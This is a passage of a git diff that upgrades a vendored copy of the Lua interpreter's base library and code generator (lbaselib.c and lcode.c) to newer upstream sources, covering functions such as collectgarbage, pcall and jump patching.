1; } /* handle signal */ - else if (*s == '+') s++; - if (isalnum((unsigned char)*s)) { - lua_Number n = 0; - do { - int digit = (isdigit((unsigned char) * s)) ? *s - '0' - : toupper((unsigned char) * s) - 'A' + 10; - if (digit >= base) break; /* invalid numeral; force a fail */ - n = n * (lua_Number)base + (lua_Number)digit; - s++; - } while (isalnum((unsigned char)*s)); - s += strspn(s, SPACECHARS); /* skip trailing spaces */ - if (s == e) { /* no invalid trailing characters? */ - lua_pushnumber(L, (neg) ? -n : n); - return 1; - } /* else not a number */ + if (b_str2int(s, (int)base, &n) == s + l) { + lua_pushinteger(L, n); + return 1; } /* else not a number */ - } - lua_pushnil(L); /* not a number */ + } /* else not a number */ + luaL_pushfail(L); /* not a number */ return 1; } static int luaB_error(lua_State *L) { - int level = luaL_optint(L, 2, 1); + int level = (int)luaL_optinteger(L, 2, 1); lua_settop(L, 1); - if (lua_isstring(L, 1) && level > 0) { /* add extra information? */ - luaL_where(L, level); + if (lua_type(L, 1) == LUA_TSTRING && level > 0) { + luaL_where(L, level); /* add extra information */ lua_pushvalue(L, 1); lua_concat(L, 2); } @@ -111,9 +135,8 @@ static int luaB_getmetatable(lua_State *L) { static int luaB_setmetatable(lua_State *L) { int t = lua_type(L, 2); luaL_checktype(L, 1, LUA_TTABLE); - luaL_argcheck(L, t == LUA_TNIL || t == LUA_TTABLE, 2, - "nil or table expected"); - if (luaL_getmetafield(L, 1, "__metatable")) + luaL_argexpected(L, t == LUA_TNIL || t == LUA_TTABLE, 2, "nil or table"); + if (l_unlikely(luaL_getmetafield(L, 1, "__metatable") != LUA_TNIL)) return luaL_error(L, "cannot change a protected metatable"); lua_settop(L, 2); lua_setmetatable(L, 1); @@ -131,8 +154,8 @@ static int luaB_rawequal(lua_State *L) { static int luaB_rawlen(lua_State *L) { int t = lua_type(L, 1); - luaL_argcheck(L, t == LUA_TTABLE || t == LUA_TSTRING, 1, - "table or string expected"); + luaL_argexpected(L, t == LUA_TTABLE || t == LUA_TSTRING, 1, + "table or string"); lua_pushinteger(L, lua_rawlen(L, 1)); return 1; } @@ -156,58 +179,88 @@ static int luaB_rawset(lua_State *L) { } -static int luaB_collectgarbage(lua_State *L) { - static const char *const opts[] = {"stop", "restart", "collect", - "count", "step", "setpause", "setstepmul", - "setmajorinc", "isrunning", "generational", "incremental", NULL - }; - static const int optsnum[] = {LUA_GCSTOP, LUA_GCRESTART, LUA_GCCOLLECT, - LUA_GCCOUNT, LUA_GCSTEP, LUA_GCSETPAUSE, LUA_GCSETSTEPMUL, - LUA_GCSETMAJORINC, LUA_GCISRUNNING, LUA_GCGEN, LUA_GCINC - }; - int o = optsnum[luaL_checkoption(L, 1, "collect", opts)]; - int ex = luaL_optint(L, 2, 0); - int res = lua_gc(L, o, ex); - switch (o) { - case LUA_GCCOUNT: { - int b = lua_gc(L, LUA_GCCOUNTB, 0); - lua_pushnumber(L, res + ((lua_Number)b / 1024)); - lua_pushinteger(L, b); - return 2; - } - case LUA_GCSTEP: - case LUA_GCISRUNNING: { - lua_pushboolean(L, res); - return 1; - } - default: { - lua_pushinteger(L, res); - return 1; - } - } -} - - -static int luaB_type(lua_State *L) { - luaL_checkany(L, 1); - lua_pushstring(L, luaL_typename(L, 1)); +static int pushmode(lua_State *L, int oldmode) { + if (oldmode == -1) + luaL_pushfail(L); /* invalid call to 'lua_gc' */ + else + lua_pushstring(L, (oldmode == LUA_GCINC) ? "incremental" + : "generational"); return 1; } -static int pairsmeta(lua_State *L, const char *method, int iszero, - lua_CFunction iter) { - if (!luaL_getmetafield(L, 1, method)) { /* no metamethod? */ - luaL_checktype(L, 1, LUA_TTABLE); /* argument must be a table */ - lua_pushcfunction(L, iter); /* will return generator, */ - lua_pushvalue(L, 1); /* state, */ - if (iszero) lua_pushinteger(L, 0); /* and initial value */ - else lua_pushnil(L); - } else { - lua_pushvalue(L, 1); /* argument 'self' to metamethod */ - lua_call(L, 1, 3); /* get 3 values from metamethod */ +/* +** check whether call to 'lua_gc' was valid (not inside a finalizer) +*/ +#define checkvalres(res) { if (res == -1) break; } + +static int luaB_collectgarbage(lua_State *L) { + static const char *const opts[] = {"stop", "restart", "collect", + "count", "step", "setpause", "setstepmul", + "isrunning", "generational", "incremental", NULL + }; + static const int optsnum[] = {LUA_GCSTOP, LUA_GCRESTART, LUA_GCCOLLECT, + LUA_GCCOUNT, LUA_GCSTEP, LUA_GCSETPAUSE, LUA_GCSETSTEPMUL, + LUA_GCISRUNNING, LUA_GCGEN, LUA_GCINC + }; + int o = optsnum[luaL_checkoption(L, 1, "collect", opts)]; + switch (o) { + case LUA_GCCOUNT: { + int k = lua_gc(L, o); + int b = lua_gc(L, LUA_GCCOUNTB); + checkvalres(k); + lua_pushnumber(L, (lua_Number)k + ((lua_Number)b / 1024)); + return 1; + } + case LUA_GCSTEP: { + int step = (int)luaL_optinteger(L, 2, 0); + int res = lua_gc(L, o, step); + checkvalres(res); + lua_pushboolean(L, res); + return 1; + } + case LUA_GCSETPAUSE: + case LUA_GCSETSTEPMUL: { + int p = (int)luaL_optinteger(L, 2, 0); + int previous = lua_gc(L, o, p); + checkvalres(previous); + lua_pushinteger(L, previous); + return 1; + } + case LUA_GCISRUNNING: { + int res = lua_gc(L, o); + checkvalres(res); + lua_pushboolean(L, res); + return 1; + } + case LUA_GCGEN: { + int minormul = (int)luaL_optinteger(L, 2, 0); + int majormul = (int)luaL_optinteger(L, 3, 0); + return pushmode(L, lua_gc(L, o, minormul, majormul)); + } + case LUA_GCINC: { + int pause = (int)luaL_optinteger(L, 2, 0); + int stepmul = (int)luaL_optinteger(L, 3, 0); + int stepsize = (int)luaL_optinteger(L, 4, 0); + return pushmode(L, lua_gc(L, o, pause, stepmul, stepsize)); + } + default: { + int res = lua_gc(L, o); + checkvalres(res); + lua_pushinteger(L, res); + return 1; + } } - return 3; + luaL_pushfail(L); /* invalid call (inside a finalizer) */ + return 1; +} + + +static int luaB_type(lua_State *L) { + int t = lua_type(L, 1); + luaL_argcheck(L, t != LUA_TNONE, 1, "value expected"); + lua_pushstring(L, lua_typename(L, t)); + return 1; } @@ -223,28 +276,53 @@ static int luaB_next(lua_State *L) { } +static int pairscont(lua_State *L, int status, lua_KContext k) { + (void)L; + (void)status; + (void)k; /* unused */ + return 3; +} + static int luaB_pairs(lua_State *L) { - return pairsmeta(L, "__pairs", 0, luaB_next); + luaL_checkany(L, 1); + if (luaL_getmetafield(L, 1, "__pairs") == LUA_TNIL) { /* no metamethod? */ + lua_pushcfunction(L, luaB_next); /* will return generator, */ + lua_pushvalue(L, 1); /* state, */ + lua_pushnil(L); /* and initial value */ + } else { + lua_pushvalue(L, 1); /* argument 'self' to metamethod */ + lua_callk(L, 1, 3, 0, pairscont); /* get 3 values from metamethod */ + } + return 3; } +/* +** Traversal function for 'ipairs' +*/ static int ipairsaux(lua_State *L) { - int i = luaL_checkint(L, 2); - luaL_checktype(L, 1, LUA_TTABLE); - i++; /* next value */ + lua_Integer i = luaL_checkinteger(L, 2); + i = luaL_intop(+, i, 1); lua_pushinteger(L, i); - lua_rawgeti(L, 1, i); - return (lua_isnil(L, -1)) ? 1 : 2; + return (lua_geti(L, 1, i) == LUA_TNIL) ? 1 : 2; } +/* +** 'ipairs' function. Returns 'ipairsaux', given "table", 0. +** (The given "table" may not be a table.) +*/ static int luaB_ipairs(lua_State *L) { - return pairsmeta(L, "__ipairs", 1, ipairsaux); + luaL_checkany(L, 1); + lua_pushcfunction(L, ipairsaux); /* iteration function */ + lua_pushvalue(L, 1); /* state */ + lua_pushinteger(L, 0); /* initial value */ + return 3; } static int load_aux(lua_State *L, int status, int envidx) { - if (status == LUA_OK) { + if (l_likely(status == LUA_OK)) { if (envidx != 0) { /* 'env' parameter? */ lua_pushvalue(L, envidx); /* environment for loaded function */ if (!lua_setupvalue(L, -2, 1)) /* set it as 1st upvalue */ @@ -252,9 +330,9 @@ static int load_aux(lua_State *L, int status, int envidx) { } return 1; } else { /* error (message is on top of the stack) */ - lua_pushnil(L); + luaL_pushfail(L); lua_insert(L, -2); /* put before error message */ - return 2; /* return nil plus error message */ + return 2; /* return fail plus error message */ } } @@ -280,11 +358,11 @@ static int luaB_loadfile(lua_State *L) { ** string to avoid it being collected while parsed. 'load' has four ** optional arguments (chunk, source name, mode, and environment). */ -#define RESERVEDSLOT 5 +#define RESERVEDSLOT 5 /* -** Reader for generic `load' function: `lua_load' uses the +** Reader for generic 'load' function: 'lua_load' uses the ** stack for internal stuff, so the reader cannot change the ** stack top. Instead, it keeps its resulting string in a ** reserved slot inside the stack. @@ -298,7 +376,7 @@ static const char *generic_reader(lua_State *L, void *ud, size_t *size) { lua_pop(L, 1); /* pop result */ *size = 0; return NULL; - } else if (!lua_isstring(L, -1)) + } else if (l_unlikely(!lua_isstring(L, -1))) luaL_error(L, "reader function must return a string"); lua_replace(L, RESERVEDSLOT); /* save string in reserved slot */ return lua_tolstring(L, RESERVEDSLOT, size); @@ -326,7 +404,9 @@ static int luaB_load(lua_State *L) { /* }====================================================== */ -static int dofilecont(lua_State *L) { +static int dofilecont(lua_State *L, int d1, lua_KContext d2) { + (void)d1; + (void)d2; /* only to match 'lua_Kfunction' prototype */ return lua_gettop(L) - 1; } @@ -334,17 +414,23 @@ static int dofilecont(lua_State *L) { static int luaB_dofile(lua_State *L) { const char *fname = luaL_optstring(L, 1, NULL); lua_settop(L, 1); - if (luaL_loadfile(L, fname) != LUA_OK) + if (l_unlikely(luaL_loadfile(L, fname) != LUA_OK)) return lua_error(L); lua_callk(L, 0, LUA_MULTRET, 0, dofilecont); - return dofilecont(L); + return dofilecont(L, 0, 0); } static int luaB_assert(lua_State *L) { - if (!lua_toboolean(L, 1)) - return luaL_error(L, "%s", luaL_optstring(L, 2, "assertion failed!")); - return lua_gettop(L); + if (l_likely(lua_toboolean(L, 1))) /* condition is true? */ + return lua_gettop(L); /* return all arguments */ + else { /* error */ + luaL_checkany(L, 1); /* there must be a condition */ + lua_remove(L, 1); /* remove it */ + lua_pushliteral(L, "assertion failed!"); /* default message */ + lua_settop(L, 1); /* leave only message (default if no other one) */ + return luaB_error(L); /* call 'error' */ + } } @@ -354,53 +440,56 @@ static int luaB_select(lua_State *L) { lua_pushinteger(L, n - 1); return 1; } else { - int i = luaL_checkint(L, 1); + lua_Integer i = luaL_checkinteger(L, 1); if (i < 0) i = n + i; else if (i > n) i = n; luaL_argcheck(L, 1 <= i, 1, "index out of range"); - return n - i; + return n - (int)i; } } -static int finishpcall(lua_State *L, int status) { - if (!lua_checkstack(L, 1)) { /* no space for extra boolean? */ - lua_settop(L, 0); /* create space for return values */ - lua_pushboolean(L, 0); - lua_pushstring(L, "stack overflow"); +/* +** Continuation function for 'pcall' and 'xpcall'. Both functions +** already pushed a 'true' before doing the call, so in case of success +** 'finishpcall' only has to return everything in the stack minus +** 'extra' values (where 'extra' is exactly the number of items to be +** ignored). +*/ +static int finishpcall(lua_State *L, int status, lua_KContext extra) { + if (l_unlikely(status != LUA_OK && status != LUA_YIELD)) { /* error? */ + lua_pushboolean(L, 0); /* first result (false) */ + lua_pushvalue(L, -2); /* error message */ return 2; /* return false, msg */ - } - lua_pushboolean(L, status); /* first result (status) */ - lua_replace(L, 1); /* put first result in first slot */ - return lua_gettop(L); -} - - -static int pcallcont(lua_State *L) { - int status = lua_getctx(L, NULL); - return finishpcall(L, (status == LUA_YIELD)); + } else + return lua_gettop(L) - (int)extra; /* return all results */ } static int luaB_pcall(lua_State *L) { int status; luaL_checkany(L, 1); - lua_pushnil(L); - lua_insert(L, 1); /* create space for status result */ - status = lua_pcallk(L, lua_gettop(L) - 2, LUA_MULTRET, 0, 0, pcallcont); - return finishpcall(L, (status == LUA_OK)); + lua_pushboolean(L, 1); /* first result if no errors */ + lua_insert(L, 1); /* put it in place */ + status = lua_pcallk(L, lua_gettop(L) - 2, LUA_MULTRET, 0, 0, finishpcall); + return finishpcall(L, status, 0); } +/* +** Do a protected call with error handling. After 'lua_rotate', the +** stack will have ; so, the function passes +** 2 to 'finishpcall' to skip the 2 first values when returning results. +*/ static int luaB_xpcall(lua_State *L) { int status; int n = lua_gettop(L); - luaL_argcheck(L, n >= 2, 2, "value expected"); - lua_pushvalue(L, 1); /* exchange function... */ - lua_copy(L, 2, 1); /* ...and error handler */ - lua_replace(L, 2); - status = lua_pcallk(L, n - 2, LUA_MULTRET, 1, 0, pcallcont); - return finishpcall(L, (status == LUA_OK)); + luaL_checktype(L, 2, LUA_TFUNCTION); /* check error function */ + lua_pushboolean(L, 1); /* first result */ + lua_pushvalue(L, 1); /* function */ + lua_rotate(L, 3, 2); /* move them below function's arguments */ + status = lua_pcallk(L, n - 2, LUA_MULTRET, 2, 2, finishpcall); + return finishpcall(L, status, 2); } @@ -420,13 +509,11 @@ static const luaL_Reg base_funcs[] = { {"ipairs", luaB_ipairs}, {"loadfile", luaB_loadfile}, {"load", luaB_load}, -#if defined(LUA_COMPAT_LOADSTRING) - {"loadstring", luaB_load}, -#endif {"next", luaB_next}, {"pairs", luaB_pairs}, {"pcall", luaB_pcall}, {"print", luaB_print}, + {"warn", luaB_warn}, {"rawequal", luaB_rawequal}, {"rawlen", luaB_rawlen}, {"rawget", luaB_rawget}, @@ -437,19 +524,23 @@ static const luaL_Reg base_funcs[] = { {"tostring", luaB_tostring}, {"type", luaB_type}, {"xpcall", luaB_xpcall}, + /* placeholders */ + {LUA_GNAME, NULL}, + {"_VERSION", NULL}, {NULL, NULL} }; LUAMOD_API int luaopen_base(lua_State *L) { - /* set global _G */ - lua_pushglobaltable(L); - lua_pushglobaltable(L); - lua_setfield(L, -2, "_G"); /* open lib into global table */ + lua_pushglobaltable(L); luaL_setfuncs(L, base_funcs, 0); + /* set global _G */ + lua_pushvalue(L, -1); + lua_setfield(L, -2, LUA_GNAME); + /* set global _VERSION */ lua_pushliteral(L, LUA_VERSION); - lua_setfield(L, -2, "_VERSION"); /* set global _VERSION */ + lua_setfield(L, -2, "_VERSION"); return 1; } diff --git a/client/deps/liblua/lcode.c b/client/deps/liblua/lcode.c index c572c2847..b3745db1f 100644 --- a/client/deps/liblua/lcode.c +++ b/client/deps/liblua/lcode.c @@ -1,15 +1,20 @@ /* -** $Id: lcode.c,v 2.62 2012/08/16 17:34:28 roberto Exp $ +** $Id: lcode.c $ ** Code generator for Lua ** See Copyright Notice in lua.h */ - -#include - #define lcode_c #define LUA_CORE +#include "lprefix.h" + + +#include +#include +#include +#include + #include "lua.h" #include "lcode.h" @@ -26,69 +31,210 @@ #include "lvm.h" -#define hasjumps(e) ((e)->t != (e)->f) +/* Maximum number of registers in a Lua function (must fit in 8 bits) */ +#define MAXREGS 255 -static int isnumeral(expdesc *e) { - return (e->k == VKNUM && e->t == NO_JUMP && e->f == NO_JUMP); +#define hasjumps(e) ((e)->t != (e)->f) + + +static int codesJ(FuncState *fs, OpCode o, int sj, int k); + + + +/* semantic error */ +l_noret luaK_semerror(LexState *ls, const char *msg) { + ls->t.token = 0; /* remove "near " from final message */ + luaX_syntaxerror(ls, msg); } +/* +** If expression is a numeric constant, fills 'v' with its value +** and returns 1. Otherwise, returns 0. +*/ +static int tonumeral(const expdesc *e, TValue *v) { + if (hasjumps(e)) + return 0; /* not a numeral */ + switch (e->k) { + case VKINT: + if (v) setivalue(v, e->u.ival); + return 1; + case VKFLT: + if (v) setfltvalue(v, e->u.nval); + return 1; + default: + return 0; + } +} + + +/* +** Get the constant value from a constant expression +*/ +static TValue *const2val(FuncState *fs, const expdesc *e) { + lua_assert(e->k == VCONST); + return &fs->ls->dyd->actvar.arr[e->u.info].k; +} + + +/* +** If expression is a constant, fills 'v' with its value +** and returns 1. Otherwise, returns 0. +*/ +int luaK_exp2const(FuncState *fs, const expdesc *e, TValue *v) { + if (hasjumps(e)) + return 0; /* not a constant */ + switch (e->k) { + case VFALSE: + setbfvalue(v); + return 1; + case VTRUE: + setbtvalue(v); + return 1; + case VNIL: + setnilvalue(v); + return 1; + case VKSTR: { + setsvalue(fs->ls->L, v, e->u.strval); + return 1; + } + case VCONST: { + setobj(fs->ls->L, v, const2val(fs, e)); + return 1; + } + default: + return tonumeral(e, v); + } +} + + +/* +** Return the previous instruction of the current code. If there +** may be a jump target between the current instruction and the +** previous one, return an invalid instruction (to avoid wrong +** optimizations). +*/ +static Instruction *previousinstruction(FuncState *fs) { + static const Instruction invalidinstruction = ~(Instruction)0; + if (fs->pc > fs->lasttarget) + return &fs->f->code[fs->pc - 1]; /* previous instruction */ + else + return cast(Instruction *, &invalidinstruction); +} + + +/* +** Create a OP_LOADNIL instruction, but try to optimize: if the previous +** instruction is also OP_LOADNIL and ranges are compatible, adjust +** range of previous instruction instead of emitting a new one. (For +** instance, 'local a; local b' will generate a single opcode.) +*/ void luaK_nil(FuncState *fs, int from, int n) { - Instruction *previous; int l = from + n - 1; /* last register to set nil */ - if (fs->pc > fs->lasttarget) { /* no jumps to current position? */ - previous = &fs->f->code[fs->pc - 1]; - if (GET_OPCODE(*previous) == OP_LOADNIL) { - int pfrom = GETARG_A(*previous); - int pl = pfrom + GETARG_B(*previous); - if ((pfrom <= from && from <= pl + 1) || - (from <= pfrom && pfrom <= l + 1)) { /* can connect both? */ - if (pfrom < from) from = pfrom; /* from = min(from, pfrom) */ - if (pl > l) l = pl; /* l = max(l, pl) */ - SETARG_A(*previous, from); - SETARG_B(*previous, l - from); - return; - } + Instruction *previous = previousinstruction(fs); + if (GET_OPCODE(*previous) == OP_LOADNIL) { /* previous is LOADNIL? */ + int pfrom = GETARG_A(*previous); /* get previous range */ + int pl = pfrom + GETARG_B(*previous); + if ((pfrom <= from && from <= pl + 1) || + (from <= pfrom && pfrom <= l + 1)) { /* can connect both? */ + if (pfrom < from) from = pfrom; /* from = min(from, pfrom) */ + if (pl > l) l = pl; /* l = max(l, pl) */ + SETARG_A(*previous, from); + SETARG_B(*previous, l - from); + return; } /* else go through */ } luaK_codeABC(fs, OP_LOADNIL, from, n - 1, 0); /* else no optimization */ } -int luaK_jump(FuncState *fs) { - int jpc = fs->jpc; /* save list of jumps to here */ - int j; - fs->jpc = NO_JUMP; - j = luaK_codeAsBx(fs, OP_JMP, 0, NO_JUMP); - luaK_concat(fs, &j, jpc); /* keep them on hold */ - return j; -} - - -void luaK_ret(FuncState *fs, int first, int nret) { - luaK_codeABC(fs, OP_RETURN, first, nret + 1, 0); -} - - -static int condjump(FuncState *fs, OpCode op, int A, int B, int C) { - luaK_codeABC(fs, op, A, B, C); - return luaK_jump(fs); -} - - -static void fixjump(FuncState *fs, int pc, int dest) { - Instruction *jmp = &fs->f->code[pc]; - int offset = dest - (pc + 1); - lua_assert(dest != NO_JUMP); - if (abs(offset) > MAXARG_sBx) - luaX_syntaxerror(fs->ls, "control structure too long"); - SETARG_sBx(*jmp, offset); +/* +** Gets the destination address of a jump instruction. Used to traverse +** a list of jumps. +*/ +static int getjump(FuncState *fs, int pc) { + int offset = GETARG_sJ(fs->f->code[pc]); + if (offset == NO_JUMP) /* point to itself represents end of list */ + return NO_JUMP; /* end of list */ + else + return (pc + 1) + offset; /* turn offset into absolute position */ } /* -** returns current `pc' and marks it as a jump target (to avoid wrong +** Fix jump instruction at position 'pc' to jump to 'dest'. +** (Jump addresses are relative in Lua) +*/ +static void fixjump(FuncState *fs, int pc, int dest) { + Instruction *jmp = &fs->f->code[pc]; + int offset = dest - (pc + 1); + lua_assert(dest != NO_JUMP); + if (!(-OFFSET_sJ <= offset && offset <= MAXARG_sJ - OFFSET_sJ)) + luaX_syntaxerror(fs->ls, "control structure too long"); + lua_assert(GET_OPCODE(*jmp) == OP_JMP); + SETARG_sJ(*jmp, offset); +} + + +/* +** Concatenate jump-list 'l2' into jump-list 'l1' +*/ +void luaK_concat(FuncState *fs, int *l1, int l2) { + if (l2 == NO_JUMP) return; /* nothing to concatenate? */ + else if (*l1 == NO_JUMP) /* no original list? */ + *l1 = l2; /* 'l1' points to 'l2' */ + else { + int list = *l1; + int next; + while ((next = getjump(fs, list)) != NO_JUMP) /* find last element */ + list = next; + fixjump(fs, list, l2); /* last element links to 'l2' */ + } +} + + +/* +** Create a jump instruction and return its position, so its destination +** can be fixed later (with 'fixjump'). +*/ +int luaK_jump(FuncState *fs) { + return codesJ(fs, OP_JMP, NO_JUMP, 0); +} + + +/* +** Code a 'return' instruction +*/ +void luaK_ret(FuncState *fs, int first, int nret) { + OpCode op; + switch (nret) { + case 0: + op = OP_RETURN0; + break; + case 1: + op = OP_RETURN1; + break; + default: + op = OP_RETURN; + break; + } + luaK_codeABC(fs, op, first, nret + 1, 0); +} + + +/* +** Code a "conditional jump", that is, a test or comparison opcode +** followed by a jump. Return jump position. +*/ +static int condjump(FuncState *fs, OpCode op, int A, int B, int C, int k) { + luaK_codeABCk(fs, op, A, B, C, k); + return luaK_jump(fs); +} + + +/* +** returns current 'pc' and marks it as a jump target (to avoid wrong ** optimizations with consecutive instructions not in the same basic block). */ int luaK_getlabel(FuncState *fs) { @@ -97,15 +243,11 @@ int luaK_getlabel(FuncState *fs) { } -static int getjump(FuncState *fs, int pc) { - int offset = GETARG_sBx(fs->f->code[pc]); - if (offset == NO_JUMP) /* point to itself represents end of list */ - return NO_JUMP; /* end of list */ - else - return (pc + 1) + offset; /* turn offset into absolute position */ -} - - +/* +** Returns the position of the instruction "controlling" a given +** jump (that is, its condition), or the jump itself if it is +** unconditional. +*/ static Instruction *getjumpcontrol(FuncState *fs, int pc) { Instruction *pi = &fs->f->code[pc]; if (pc >= 1 && testTMode(GET_OPCODE(*(pi - 1)))) @@ -116,37 +258,41 @@ static Instruction *getjumpcontrol(FuncState *fs, int pc) { /* -** check whether list has any jump that do not produce a value -** (or produce an inverted value) +** Patch destination register for a TESTSET instruction. +** If instruction in position 'node' is not a TESTSET, return 0 ("fails"). +** Otherwise, if 'reg' is not 'NO_REG', set it as the destination +** register. Otherwise, change instruction to a simple 'TEST' (produces +** no register value) */ -static int need_value(FuncState *fs, int list) { - for (; list != NO_JUMP; list = getjump(fs, list)) { - Instruction i = *getjumpcontrol(fs, list); - if (GET_OPCODE(i) != OP_TESTSET) return 1; - } - return 0; /* not found */ -} - - static int patchtestreg(FuncState *fs, int node, int reg) { Instruction *i = getjumpcontrol(fs, node); if (GET_OPCODE(*i) != OP_TESTSET) return 0; /* cannot patch other instructions */ if (reg != NO_REG && reg != GETARG_B(*i)) SETARG_A(*i, reg); - else /* no register to put value or register already has the value */ - *i = CREATE_ABC(OP_TEST, GETARG_B(*i), 0, GETARG_C(*i)); - + else { + /* no register to put value or register already has the value; + change instruction to simple test */ + *i = CREATE_ABCk(OP_TEST, GETARG_B(*i), 0, 0, GETARG_k(*i)); + } return 1; } +/* +** Traverse a list of tests ensuring no one produces a value +*/ static void removevalues(FuncState *fs, int list) { for (; list != NO_JUMP; list = getjump(fs, list)) patchtestreg(fs, list, NO_REG); } +/* +** Traverse a list of tests, patching their destination address and +** registers: tests producing values jump to 'vtarget' (and put their +** values in 'reg'), other tests jump to 'dtarget'. +*/ static void patchlistaux(FuncState *fs, int list, int vtarget, int reg, int dtarget) { while (list != NO_JUMP) { @@ -160,94 +306,156 @@ static void patchlistaux(FuncState *fs, int list, int vtarget, int reg, } -static void dischargejpc(FuncState *fs) { - patchlistaux(fs, fs->jpc, fs->pc, NO_REG, fs->pc); - fs->jpc = NO_JUMP; -} - - +/* +** Path all jumps in 'list' to jump to 'target'. +** (The assert means that we cannot fix a jump to a forward address +** because we only know addresses once code is generated.) +*/ void luaK_patchlist(FuncState *fs, int list, int target) { - if (target == fs->pc) - luaK_patchtohere(fs, list); - else { - lua_assert(target < fs->pc); - patchlistaux(fs, list, target, NO_REG, target); - } -} - - -LUAI_FUNC void luaK_patchclose(FuncState *fs, int list, int level) { - level++; /* argument is +1 to reserve 0 as non-op */ - while (list != NO_JUMP) { - int next = getjump(fs, list); - lua_assert(GET_OPCODE(fs->f->code[list]) == OP_JMP && - (GETARG_A(fs->f->code[list]) == 0 || - GETARG_A(fs->f->code[list]) >= level)); - SETARG_A(fs->f->code[list], level); - list = next; - } + lua_assert(target <= fs->pc); + patchlistaux(fs, list, target, NO_REG, target); } void luaK_patchtohere(FuncState *fs, int list) { - luaK_getlabel(fs); - luaK_concat(fs, &fs->jpc, list); + int hr = luaK_getlabel(fs); /* mark "here" as a jump target */ + luaK_patchlist(fs, list, hr); } -void luaK_concat(FuncState *fs, int *l1, int l2) { - if (l2 == NO_JUMP) return; - else if (*l1 == NO_JUMP) - *l1 = l2; - else { - int list = *l1; - int next; - while ((next = getjump(fs, list)) != NO_JUMP) /* find last element */ - list = next; - fixjump(fs, list, l2); +/* limit for difference between lines in relative line info. */ +#define LIMLINEDIFF 0x80 + + +/* +** Save line info for a new instruction. If difference from last line +** does not fit in a byte, of after that many instructions, save a new +** absolute line info; (in that case, the special value 'ABSLINEINFO' +** in 'lineinfo' signals the existence of this absolute information.) +** Otherwise, store the difference from last line in 'lineinfo'. +*/ +static void savelineinfo(FuncState *fs, Proto *f, int line) { + int linedif = line - fs->previousline; + int pc = fs->pc - 1; /* last instruction coded */ + if (abs(linedif) >= LIMLINEDIFF || fs->iwthabs++ >= MAXIWTHABS) { + luaM_growvector(fs->ls->L, f->abslineinfo, fs->nabslineinfo, + f->sizeabslineinfo, AbsLineInfo, MAX_INT, "lines"); + f->abslineinfo[fs->nabslineinfo].pc = pc; + f->abslineinfo[fs->nabslineinfo++].line = line; + linedif = ABSLINEINFO; /* signal that there is absolute information */ + fs->iwthabs = 1; /* restart counter */ + } + luaM_growvector(fs->ls->L, f->lineinfo, pc, f->sizelineinfo, ls_byte, + MAX_INT, "opcodes"); + f->lineinfo[pc] = linedif; + fs->previousline = line; /* last line saved */ +} + + +/* +** Remove line information from the last instruction. +** If line information for that instruction is absolute, set 'iwthabs' +** above its max to force the new (replacing) instruction to have +** absolute line info, too. +*/ +static void removelastlineinfo(FuncState *fs) { + Proto *f = fs->f; + int pc = fs->pc - 1; /* last instruction coded */ + if (f->lineinfo[pc] != ABSLINEINFO) { /* relative line info? */ + fs->previousline -= f->lineinfo[pc]; /* correct last line saved */ + fs->iwthabs--; /* undo previous increment */ + } else { /* absolute line information */ + lua_assert(f->abslineinfo[fs->nabslineinfo - 1].pc == pc); + fs->nabslineinfo--; /* remove it */ + fs->iwthabs = MAXIWTHABS + 1; /* force next line info to be absolute */ } } -static int luaK_code(FuncState *fs, Instruction i) { +/* +** Remove the last instruction created, correcting line information +** accordingly. +*/ +static void removelastinstruction(FuncState *fs) { + removelastlineinfo(fs); + fs->pc--; +} + + +/* +** Emit instruction 'i', checking for array sizes and saving also its +** line information. Return 'i' position. +*/ +int luaK_code(FuncState *fs, Instruction i) { Proto *f = fs->f; - dischargejpc(fs); /* `pc' will change */ /* put new instruction in code array */ luaM_growvector(fs->ls->L, f->code, fs->pc, f->sizecode, Instruction, MAX_INT, "opcodes"); - f->code[fs->pc] = i; - /* save corresponding line information */ - luaM_growvector(fs->ls->L, f->lineinfo, fs->pc, f->sizelineinfo, int, - MAX_INT, "opcodes"); - f->lineinfo[fs->pc] = fs->ls->lastline; - return fs->pc++; + f->code[fs->pc++] = i; + savelineinfo(fs, f, fs->ls->lastline); + return fs->pc - 1; /* index of new instruction */ } -int luaK_codeABC(FuncState *fs, OpCode o, int a, int b, int c) { +/* +** Format and emit an 'iABC' instruction. (Assertions check consistency +** of parameters versus opcode.) +*/ +int luaK_codeABCk(FuncState *fs, OpCode o, int a, int b, int c, int k) { lua_assert(getOpMode(o) == iABC); - lua_assert(getBMode(o) != OpArgN || b == 0); - lua_assert(getCMode(o) != OpArgN || c == 0); - lua_assert(a <= MAXARG_A && b <= MAXARG_B && c <= MAXARG_C); - return luaK_code(fs, CREATE_ABC(o, a, b, c)); + lua_assert(a <= MAXARG_A && b <= MAXARG_B && + c <= MAXARG_C && (k & ~1) == 0); + return luaK_code(fs, CREATE_ABCk(o, a, b, c, k)); } +/* +** Format and emit an 'iABx' instruction. +*/ int luaK_codeABx(FuncState *fs, OpCode o, int a, unsigned int bc) { - lua_assert(getOpMode(o) == iABx || getOpMode(o) == iAsBx); - lua_assert(getCMode(o) == OpArgN); + lua_assert(getOpMode(o) == iABx); lua_assert(a <= MAXARG_A && bc <= MAXARG_Bx); return luaK_code(fs, CREATE_ABx(o, a, bc)); } +/* +** Format and emit an 'iAsBx' instruction. +*/ +static int codeAsBx(FuncState *fs, OpCode o, int a, int bc) { + unsigned int b = bc + OFFSET_sBx; + lua_assert(getOpMode(o) == iAsBx); + lua_assert(a <= MAXARG_A && b <= MAXARG_Bx); + return luaK_code(fs, CREATE_ABx(o, a, b)); +} + + +/* +** Format and emit an 'isJ' instruction. +*/ +static int codesJ(FuncState *fs, OpCode o, int sj, int k) { + unsigned int j = sj + OFFSET_sJ; + lua_assert(getOpMode(o) == isJ); + lua_assert(j <= MAXARG_sJ && (k & ~1) == 0); + return luaK_code(fs, CREATE_sJ(o, j, k)); +} + + +/* +** Emit an "extra argument" instruction (format 'iAx') +*/ static int codeextraarg(FuncState *fs, int a) { lua_assert(a <= MAXARG_Ax); return luaK_code(fs, CREATE_Ax(OP_EXTRAARG, a)); } -int luaK_codek(FuncState *fs, int reg, int k) { +/* +** Emit a "load constant" instruction, using either 'OP_LOADK' +** (if constant index 'k' fits in 18 bits) or an 'OP_LOADKX' +** instruction with "extra argument". +*/ +static int luaK_codek(FuncState *fs, int reg, int k) { if (k <= MAXARG_Bx) return luaK_codeABx(fs, OP_LOADK, reg, k); else { @@ -258,55 +466,106 @@ int luaK_codek(FuncState *fs, int reg, int k) { } +/* +** Check register-stack level, keeping track of its maximum size +** in field 'maxstacksize' +*/ void luaK_checkstack(FuncState *fs, int n) { int newstack = 